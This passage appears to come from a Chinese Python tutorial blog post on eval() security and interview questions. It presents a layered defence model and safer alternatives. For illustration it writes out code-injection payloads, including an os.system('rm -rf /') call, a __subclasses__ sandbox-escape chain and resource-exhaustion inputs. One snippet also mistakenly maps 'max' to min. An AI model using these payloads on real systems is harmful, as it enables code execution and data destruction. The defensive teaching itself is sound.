    ast.literal_eval("__import__('os').system('ls')")
except (ValueError, SyntaxError) as e:
    print(f"已拦截: {e}")

最佳实践:如果只是想把字符串转成列表/字典/元组,永远用 ast.literal_eval(),不要用 eval()。

simpleeval:第三方安全表达式库

simpleeval 是一个专门为安全执行表达式设计的第三方库。它自己实现了一个表达式解释器,不走 Python 的编译执行流水线,因此从根本上避免了代码注入风险。

bash 复制代码
# 安装
pip install simpleeval
python 复制代码
from simpleeval import simple_eval

# 基础计算
print(simple_eval("1 + 2 * 3"))  # 7

# 传入变量
print(simple_eval("x + y", names={"x": 10, "y": 20}))  # 30

# 传入函数
print(simple_eval("double(5)", functions={"double": lambda x: x * 2}))  # 10

# 危险操作会被拦截
try:
    simple_eval("__import__('os').system('ls')")
except Exception as e:
    print(f"已拦截: {type(e).__name__}")

simpleeval 的缺点是性能不如原生 eval(),且不支持所有 Python 语法(比如列表推导式、lambda 等)。但对于处理不可信输入的场景,它是最佳选择。

6.3 选型决策树

复制代码
需要动态执行字符串?
├── 只是把字符串转成列表/字典/元组?
│   └── 用 ast.literal_eval()
├── 需要计算表达式,且输入完全可信(自己代码生成的)?
│   └── 用 eval()(加 globals 限制)
├── 需要计算表达式,输入来自用户/外部?
│   ├── 表达式很简单(四则运算、变量引用)?
│   │   └── 用 simpleeval
│   └── 表达式复杂(需要函数、列表操作)?
│       └── 用 eval() + AST校验 + 沙箱 + 超时
└── 需要执行完整代码块(函数定义、类定义)?
    └── 用 exec()(仅限完全可信的内部代码,生产环境慎用)

七、安全风险与最佳实践

这是整篇文章最重要的部分。eval() 的安全问题,不是"可能有风险",而是"只要处理不可信输入就一定有风险"。下面详细讲清楚攻击手段和防御方案。

7.1 常见攻击手段

攻击一:直接调用危险函数

python 复制代码
# 最直接的攻击
user_input = "__import__('os').system('rm -rf /')"
# eval(user_input) ------ 服务器文件全没了

攻击二:绕过空的 builtins

很多人以为传了 {"__builtins__": {}} 就安全了,其实不然。攻击者可以通过对象的继承链逃逸:

python 复制代码
# 通过空元组的类继承链找到 object,再找到子类
payload = "().__class__.__bases__[0].__subclasses__()"
# 这个表达式不需要任何内置函数,通过 () 空元组就能访问到 object
# 然后遍历子类找到 os._wrap_close 或其他危险类

# 更完整的攻击链
payload2 = (
    "[c for c in ().__class__.__bases__[0].__subclasses__() "
    "if c.__name__ == 'catch_warnings'][0]()._module.__builtins__"
    "['__import__']('os').system('echo hacked')"
)

这个攻击的原理是:即使禁用了所有内置函数,Python 中一切皆对象,通过字面量(如 ()、[]、{})就能访问到类对象,然后通过 __class__、__bases__、__subclasses__() 等属性一路向上找,最终能找到 os 模块或其他危险功能。

攻击三:拒绝服务(DoS)

即使攻击者不能执行系统命令,也可以让 eval() 陷入死循环或消耗大量资源:

python 复制代码
# 巨大的递归/计算
dos_payload = "10**10**100"  # 计算一个超大数,内存爆炸

# 或者
dos_payload2 = "'a' * 10**100"  # 创建超大字符串

7.2 防御方案:五层安全模型

第一层:输入验证(白名单过滤)

在最外层就对输入做校验,只允许预期的字符和模式。

python 复制代码
import re

def validate_expression(expr: str, max_length: int = 200) -> bool:
    """基础输入校验"""
    if len(expr) > max_length:
        return False
    # 只允许字母、数字、常见运算符和括号
    # 注意:这只是最基础的过滤,不能单独依赖
    pattern = r'^[\w\s\+\-\*\/\%\(\)\.\,\<\>\=\!\&\|\~]+$'
    return bool(re.match(pattern, expr))

第二层:AST 语法树检查

这是最关键的一层。在执行前先解析 AST,禁止危险的节点类型。

python 复制代码
import ast

# 允许的 AST 节点类型白名单
ALLOWED_NODES = {
    ast.Expression, ast.BinOp, ast.UnaryOp, ast.BoolOp,
    ast.Compare, ast.IfExp,  # 表达式相关
    ast.Name, ast.Load, ast.Constant,  # 变量和常量
    ast.Add, ast.Sub, ast.Mult, ast.Div, ast.FloorDiv,
    ast.Mod, ast.Pow, ast.USub, ast.UAdd,  # 算术运算
    ast.And, ast.Or, ast.Not,  # 逻辑运算
    ast.Eq, ast.NotEq, ast.Lt, ast.LtE, ast.Gt, ast.GtE,
    ast.In, ast.NotIn, ast.Is, ast.IsNot,  # 比较运算
    ast.List, ast.Tuple, ast.Set, ast.Dict,  # 容器
    ast.Subscript, ast.Slice,  # 下标访问
    ast.Call,  # 函数调用(需要额外校验函数名)
}

def safe_ast_check(expr: str) -> ast.AST:
    """AST 层面安全检查,返回通过检查的 AST"""
    tree = ast.parse(expr, mode="eval")

    for node in ast.walk(tree):
        # 禁止属性访问(防止 __class__ 逃逸)
        if isinstance(node, ast.Attribute):
            raise ValueError(f"禁止属性访问: {ast.dump(node)}")

        # 函数调用必须校验
        if isinstance(node, ast.Call):
            if not isinstance(node.func, ast.Name):
                raise ValueError("只允许直接调用函数名")
            # 这里可以加函数名白名单校验

        # 检查节点类型是否在白名单中
        if type(node) not in ALLOWED_NODES:
            raise ValueError(f"不允许的语法节点: {type(node).__name__}")

    return tree

第三层:沙箱隔离环境

执行时严格限制 globals 和 locals。

python 复制代码
def build_sandbox(allowed_functions: dict = None) -> dict:
    """构建安全的沙箱环境"""
    sandbox = {
        "__builtins__": {},  # 必须显式置空
    }
    if allowed_functions:
        sandbox.update(allowed_functions)
    return sandbox

# 使用示例
sandbox = build_sandbox({
    "abs": abs, "min": min, "max": max,
    "len": len, "sum": sum, "round": round,
})
result = eval("abs(-5) + max(1, 2, 3)", sandbox, {"x": 10})

第四层:资源限制与超时控制

防止 DoS 攻击,给执行加上超时和资源限制。

python 复制代码
import signal
import time

class TimeoutError(Exception):
    pass

def timeout_handler(signum, frame):
    raise TimeoutError("表达式执行超时")

def safe_eval_with_timeout(expr: str, globals_dict: dict,
                            locals_dict: dict, timeout: float = 1.0):
    """带超时控制的安全 eval(仅 Unix 系统支持 signal)"""
    # 设置超时信号
    old_handler = signal.signal(signal.SIGALRM, timeout_handler)
    # ualarm 支持微秒级精度
    signal.setitimer(signal.ITIMER_REAL, timeout)

    try:
        result = eval(expr, globals_dict, locals_dict)
        return result
    finally:
        # 清除定时器
        signal.setitimer(signal.ITIMER_REAL, 0)
        signal.signal(signal.SIGALRM, old_handler)

注意:signal 方案只在 Unix 系统的主线程中有效。如果在多线程环境或 Windows 上,需要用多进程隔离来实现超时。

第五层:审计日志与监控

每次执行都记录日志,异常情况触发告警。

python 复制代码
import logging
import time

audit_logger = logging.getLogger("eval_audit")

def audited_eval(expr: str, globals_dict: dict,
                 locals_dict: dict, source: str = "unknown"):
    """带审计日志的 eval"""
    start = time.time()
    try:
        result = eval(expr, globals_dict, locals_dict)
        duration = (time.time() - start) * 1000
        audit_logger.info(
            f"eval成功 | source={source} | expr={expr[:100]} "
            f"| duration={duration:.1f}ms"
        )
        return result
    except Exception as e:
        duration = (time.time() - start) * 1000
        audit_logger.warning(
            f"eval失败 | source={source} | expr={expr[:100]} "
            f"| error={type(e).__name__}: {e} | duration={duration:.1f}ms"
        )
        raise

7.3 终极建议

  1. 能不用就不用 :如果有更安全的替代方案(ast.literal_eval、json.loads、simpleeval),优先用替代方案。
  2. 永远不要 eval 用户输入:这是铁律。如果输入来自用户、网络、数据库(可能被篡改),就不要直接 eval。
  3. 必须用就加全套防护:AST 校验 + 沙箱 + 超时 + 审计,四层缺一不可。
  4. 定期做安全审计 :代码审查时,所有 eval()、exec() 的调用点都要重点检查。

八、面试官高频面试题

eval() 是 Python 面试中的高频考点,尤其是中高级岗位。下面整理了最常被问到的 10 道题,附详细答案。

面试题 1:eval 和 exec 的区别是什么?

参考答案:

维度 eval exec
输入 单个表达式 任意 Python 代码(语句、代码块)
返回值 有,返回表达式的值 无,永远返回 None
用途 计算表达式的值 执行动态代码逻辑
mode 参数 compile(..., "eval") compile(..., "exec")

简单说:eval() 是计算器,exec() 是解释器。

python 复制代码
# eval 有返回值
print(eval("1 + 2"))  # 3

# exec 无返回值
print(exec("1 + 2"))  # None

# exec 可以执行语句
exec("x = 10; print(x)")  # 10
# eval("x = 10")  # SyntaxError

面试题 2:eval 有什么安全风险?如何防范?

参考答案:

eval() 的核心安全风险是代码注入(Code Injection)。如果传入的字符串来自不可信来源,攻击者可以执行任意代码,包括删除文件、访问系统资源、反弹 shell 等。

常见攻击手段:

  1. 直接调用 __import__('os').system('危险命令')
  2. 通过对象继承链绕过 __builtins__ 限制(().__class__.__bases__[0].__subclasses__())
  3. 拒绝服务攻击(超大数计算、死循环)

防范措施:

  1. 优先使用 ast.literal_eval() 或 simpleeval 等安全替代方案
  2. 必须使用时,做 AST 层面的语法校验,禁止属性访问和危险节点
  3. 严格限制 globals,显式设置 __builtins__: {}
  4. 加超时控制,防止 DoS
  5. 记录审计日志

面试题 3:eval 的 globals 和 locals 参数有什么作用?

参考答案:

globals 和 locals 控制表达式执行时的命名空间,即表达式能看到哪些变量和函数。

  • globals:全局命名空间,必须是字典。如果提供且不含 __builtins__,Python 会自动插入当前内置命名空间的引用。
  • locals:局部命名空间,可以是任意映射对象。变量查找时优先从 locals 中找,找不到再去 globals。
python 复制代码
# globals 限制可见变量
eval("x + y", {"x": 1, "y": 2})  # 3
# eval("x + z", {"x": 1, "y": 2})  # NameError: z 未定义

# locals 优先级高于 globals
eval("x", {"x": "global"}, {"x": "local"})  # 'local'

# 关键安全细节:必须显式设置 __builtins__
eval("__import__('os')", {"x": 1})  # 成功!因为 Python 自动加了 builtins
eval("__import__('os')", {"__builtins__": {}, "x": 1})  # NameError,被拦截

面试题 4:ast.literal_eval 和 eval 有什么区别?什么时候用 literal_eval?

参考答案:

ast.literal_eval() 是 Python 官方提供的安全替代方案,它只能解析 Python 字面量(字符串、数字、列表、字典、元组、集合、布尔值、None),不能执行任何表达式、函数调用或变量引用。

核心区别:

  • eval() 可以执行任意 Python 表达式,有安全风险
  • ast.literal_eval() 只解析字面量,从根本上杜绝代码注入

使用场景:当你只是想把一个"看起来像列表/字典的字符串"转换成真实的数据结构时,永远用 ast.literal_eval()。

python 复制代码
import ast

# literal_eval 可以
ast.literal_eval("[1, 2, 3]")        # [1, 2, 3]
ast.literal_eval("{'a': 1}")          # {'a': 1}

# literal_eval 不可以(会报错)
# ast.literal_eval("1 + 2")           # ValueError
# ast.literal_eval("__import__('os')") # ValueError

面试题 5:eval 内部是怎么执行的?简述 CPython 的执行流程。

参考答案:

eval() 在 CPython 内部的执行流程和正常 Python 代码完全一样,经过以下阶段:

  1. 词法分析(Tokenizer):把字符串切成 token 流
  2. 语法分析(Parser):把 token 流构建成抽象语法树(AST)
  3. 编译(Compiler):把 AST 编译成字节码(Bytecode)
  4. 符号表解析:确定变量的作用域
  5. 虚拟机执行(PVM):逐条执行字节码指令
  6. 返回结果

可以用 ast.parse() 和 compile() 来观察中间过程:

python 复制代码
import ast, dis

expr = "x + y * 2"
tree = ast.parse(expr, mode="eval")  # 生成 AST
code = compile(tree, "<string>", "eval")  # 编译为字节码
dis.dis(code)  # 查看字节码指令

面试题 6:如何安全地让用户输入数学表达式并计算?

参考答案:

方案一(推荐):使用第三方库 simpleeval,它自带安全沙箱。

python 复制代码
from simpleeval import simple_eval
result = simple_eval("x + y * 2", names={"x": 10, "y": 3})

方案二:自己实现安全 eval,需要做到:

  1. AST 校验:禁止属性访问、import、非白名单函数
  2. 沙箱隔离:__builtins__ 置空,只传入白名单函数
  3. 超时控制:防止 DoS 攻击
  4. 输入长度限制
python 复制代码
import ast

SAFE_FUNCS = {"abs": abs, "min": min, "max": min, "sqrt": __import__("math").sqrt}

def safe_math_eval(expr, variables):
    # 1. AST 校验
    tree = ast.parse(expr, mode="eval")
    for node in ast.walk(tree):
        if isinstance(node, ast.Attribute):
            raise ValueError("禁止属性访问")
        if isinstance(node, ast.Call) and isinstance(node.func, ast.Name):
            if node.func.id not in SAFE_FUNCS:
                raise ValueError(f"不允许的函数: {node.func.id}")
    # 2. 沙箱执行
    return eval(compile(tree, "", "eval"),
                {"__builtins__": {}, **SAFE_FUNCS}, variables)

面试题 7:eval 能执行赋值语句吗?为什么?

参考答案:

不能直接执行。因为 eval() 的 mode 是 "eval",它只接受单个表达式 (expression),而赋值是语句 (statement),所以 eval("x = 10") 会报 SyntaxError。

但 Python 3.8 引入的海象运算符(walrus operator :=)是表达式,所以可以在 eval 中使用:

python 复制代码
eval("x := 10")  # 10,Python 3.8+ 支持
print(x)          # 10

如果需要执行赋值语句,应该用 exec():

python 复制代码
exec("x = 10")
print(x)  # 10

面试题 8:eval 的性能如何?如何优化?

参考答案:

eval() 的性能开销主要在字符串解析和编译阶段。如果同一个表达式只执行一次,性能差异不大;但如果重复执行同一个表达式,每次都重新解析编译会浪费大量时间。

优化方法:先用 compile() 预编译成 code object,然后重复执行:

python 复制代码
# 低效:每次重新解析
for _ in range(10000):
    eval("x * 2 + 1", {"x": 10})

# 高效:预编译一次
code = compile("x * 2 + 1", "<string>", "eval")
for _ in range(10000):
    eval(code, {"x": 10})

另外,eval() 的执行速度比原生 Python 代码慢一些,因为涉及额外的命名空间查找。在性能敏感的场景,应该尽量避免使用。

面试题 9:传了 {"builtins": {}} 就安全了吗?为什么?

参考答案:

不安全。即使禁用了所有内置函数,攻击者仍然可以通过 Python 的对象模型逃逸。

原理:Python 中一切皆对象,即使没有内置函数,字面量(如 ()、[])本身就是对象。通过对象的 __class__ 属性可以找到类,通过 __bases__ 可以找到父类,最终找到 object,再通过 object.__subclasses__() 遍历所有子类,从中找到危险的类(如 os._wrap_close),进而执行系统命令。

python 复制代码
# 攻击链示意(仅用于教学,切勿用于非法用途)
payload = "().__class__.__bases__[0].__subclasses__()"
# 即使 __builtins__ 为空,这个表达式也能执行

防御方法:在 AST 层面禁止 ast.Attribute 节点,从根本上阻止属性访问。

面试题 10:在什么场景下你会选择使用 eval?什么场景下绝对不用?

参考答案:

会使用 eval 的场景:

  1. 输入完全可信(由程序自己生成,不经过任何外部渠道)
  2. 需要动态计算表达式,且 ast.literal_eval 和 simpleeval 无法满足需求
  3. 有完善的安全防护措施(AST 校验 + 沙箱 + 超时 + 审计)
  4. 内部工具、脚本、数据分析等非生产环境

绝对不用 eval 的场景:

  1. 处理用户输入、网络请求、API 返回数据
  2. 处理数据库中存储的、可能被篡改的数据
  3. 处理配置文件中用户可修改的内容
  4. 任何安全敏感的生产环境(除非有严格的安全评审)
  5. 只是想把字符串转成列表/字典(用 ast.literal_eval 或 json.loads)

一句话总结:eval 是一把锋利的刀,在自己手里切菜很方便,但递给别人就可能伤人。


九、总结

回顾一下这篇文章的核心内容:

  1. eval 是什么:Python 内置函数,把字符串表达式解析执行并返回结果。它是动态语言"代码即数据"哲学的体现。

  2. 为什么用:低成本获得动态执行能力,适用于规则引擎、配置解析、动态公式等场景。

  3. 怎么演进的:从 Lisp 的 eval 到 Python,核心设计三十年未变;CPython 内部走完整的"词法分析 → 语法分析 → 编译 → 虚拟机执行"流水线。

  4. 怎么用 :掌握 expression、globals、locals 三个参数,理解 __builtins__ 的自动注入机制,重复执行时先 compile() 预编译。

  5. 企业实战:风控规则引擎、动态配置解析器、财务公式计算器,三个完整可运行的代码案例,都做了 AST 校验 + 沙箱隔离的安全防护。

  6. 竞品对比 :eval(表达式计算)、exec(代码执行)、ast.literal_eval(安全字面量解析)、simpleeval(第三方安全表达式库),根据场景选择。

  7. 安全第一:五层安全模型(输入验证 → AST 校验 → 沙箱隔离 → 超时控制 → 审计日志),记住铁律"永远不要 eval 不可信输入"。

  8. 面试考点:10 道高频面试题,从基础语法到安全原理,覆盖面试官关心的所有角度。

最后送你一句话:工具没有好坏,用的人才有。eval 不可怕,可怕的是对它的风险一无所知。 希望这篇文章能让你真正驾驭 eval,而不是被它反噬。


转载声明

本文为原创文章,如需转载,请联系作者获得授权,并注明出处。

相关推荐
计算机毕业编程指导师1 小时前
计算机毕设选题推荐:基于Hadoop与Spark的Steam游戏数据分析系统源码 毕业设计 选题推荐 毕设选题 数据分析 机器学习 深度学习
大数据·hadoop·python·计算机·spark·毕业设计·steam游戏
计算机毕业编程指导师1 小时前
【计算机毕设选题推荐】基于Hadoop+Spark的白鹿抖音评论大数据分析与可视化系统源码 毕业设计 选题推荐 毕设选题 数据分析 机器学习 深度学习
大数据·hadoop·python·计算机·spark·毕业设计·抖音评论
谢亮_vipxieliang1 小时前
Spring 事务失效的常见场景
java·开发语言·数据库·spring boot
Zootopia6261 小时前
飞行力学知识梳理1|飞行性能与稳定性
人工智能·python·算法·机器学习·无人机·学习方法·信息与通信
Y3815326621 小时前
搜索 API 延迟优化:并发数、超时与超时的真实代价
python·搜索引擎
时间的拾荒人1 小时前
Qt 多线程详解:从 QThread 到实战
开发语言·qt·面试
郑州光合科技余经理1 小时前
海外版外卖加盟:总站与分站配送规则怎么分开管
java·开发语言·前端·后端·uni-app·php·ai编程
2601_962071571 小时前
类变量和全局变量的生命周期有什么区别?
java·开发语言·jvm
wangqiaowq2 小时前
PII 脱敏指的是:把个人身份信息(PII)中能识别到具体个人的敏感部分,用替换、遮蔽、变形等方式处理掉,使得数据在保留可用性的同时,不再直接暴露个人身份。
python